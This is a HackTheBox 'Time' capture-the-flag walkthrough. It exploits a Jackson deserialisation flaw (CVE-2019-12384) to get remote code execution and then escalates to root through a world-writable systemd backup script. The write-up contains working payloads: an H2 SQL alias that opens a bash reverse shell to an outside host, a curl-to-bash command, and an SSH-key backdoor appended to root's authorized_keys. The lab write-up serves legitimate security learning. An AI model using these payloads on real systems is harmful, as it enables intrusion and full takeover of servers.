Posts HTB - Time
Post
Cancel

HTB - Time

Time is a vulnerable virtual machine created by egotisticalSW & felamos on HackTheBox. In this post, we document a complete walkthrough of pwning this machine.

Enumeration

Nmap

Starting off with the nmap scan, we see that this is a Linux machine running SSH and HTTP services.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nmap-default 10.10.10.214

Nmap scan report for 10.10.10.214
Host is up (0.19s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The version of the system can be identified by searching for the OpenSSH package information. It appears to be Ubuntu 20.04 (Focal Fossa) according to the page below.

https://launchpad.net/ubuntu/+source/openssh/1:8.2p1-4ubuntu0.1

HTTP

The following web page is found as the index page of the HTTP server, which appears to beautify and validate JSON data.

An error message is obtained by trying some invalid JSON object with the “Validate” functionality. In the message, we notice that com.fasterxml.jackson.core is the package used to process the data.

1
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'test': was expecting 'null', 'true', 'false' or NaN

Exploitation

CVE-2019-12384

The package has a lot of vulnerabilities. After quite a bit of searching and trial & error, a working exploit is found in this blog post.

First, an inject.sql file containing the below contents is created and served with Python HTTP server.

1
2
3
4
5
6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.8/4444 0>&1')

Next, the following payload is used against the page’s “validate” function to trigger the deserialisation vulnerability, which in turn makes the server do an SSRF to fetch and execute our malicious SQL code.

1
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.8:8000/inject.sql'"}]

It is confirmed in our Python HTTP server.

1
2
3
$ python -m http.server       
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.214 - - [03/Apr/2021 23:49:14] "GET /inject.sql HTTP/1.1" 200 -

Checking the ncat listener, we get a reverse shell as pericles.

1
2
3
4
5
6
7
$ ncat -nlvp 4444

...

pericles@time:/var/www/html$ whoami
whoami
pericles

Privilege Escalation

Some enumeration is performed with LinPEAS. This can be done by putting the linpeas.sh in the Python HTTP server directory and execute the following command in the reverse shell.

1
pericles@time:/var/www/html$ curl 10.10.14.8:8000/linpeas.sh | bash

In the System timers section of the outputs, something interesting is found. For some readings about systemd timers, refer to here.

1
2
3
4
[+] System timers
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers
NEXT                        LEFT         LAST                        PASSED        UNIT                         ACTIVATES
Sun 2021-04-04 03:53:11 UTC 2s left      Sun 2021-04-04 03:53:01 UTC 7s ago        timer_backup.timer           timer_backup.service

The timer is found to be executing a service named timer_backup.service, which in turn runs another service web_backup.service.

1
2
3
4
5
6
7
8
9
10
11
pericles@time:/var/www/html$ find / -name timer_backup.service 2>/dev/null
/etc/systemd/system/timer_backup.service

pericles@time:/var/www/html$ cat /etc/systemd/system/timer_backup.service
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target

[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service

The web_backup.service just runs a shell script /usr/bin/timer_backup.sh.

1
2
3
4
5
6
pericles@time:/var/www/html$ cat /etc/systemd/system/web_backup.service
[Unit]
Description=Creates backups of the website

[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh

The shell script does some backup job as the name suggests. However, by checking the permissions of the file, it is found to be owned by our current user and writable by anyone, which means that we can control the content of the script.

1
2
3
4
5
6
pericles@time:/var/www/html$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip

pericles@time:/var/www/html$ ls -l /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 88 Apr  4 04:05 /usr/bin/timer_backup.sh

Since the script is executed by systemd and as root, we can simply put a reverse shell one-liner in it to get a reverse shell as root.

1
pericles@time:/var/www/html$ echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' >> /usr/bin/timer_backup.sh

It is confirmed by checking our ncat listener. But after a few seconds, the reverse shell dies, which makes it unusable.

1
2
3
4
5
6
7
$ ncat -nlvp 4444                                                                          

...

root@time:/# whoami
whoami
root

To get a stable shell, we can use ssh. First, an ssh key named root is generated with ssh-keygen.

1
$ ssh-keygen -t ed25519 -f root

Next, we put a command that writes our public key into root’s authorized_keys in the shell script.

1
2
3
4
$ cat root.pub                               
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG7KYkSEthZfyCg4JkhAPAxW7bMlweV2iEvj9sSpUQjO

pericles@time:/var/www/html$ echo 'echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG7KYkSEthZfyCg4JkhAPAxW7bMlweV2iEvj9sSpUQjO >> /root/.ssh/authorized_keys' >> /usr/bin/timer_backup.sh

After a few seconds, we can ssh in with the private key.

1
2
3
4
5
6
$ ssh -i root [email protected]

...

root@time:~# whoami
root
This post is licensed under CC BY 4.0 by the author.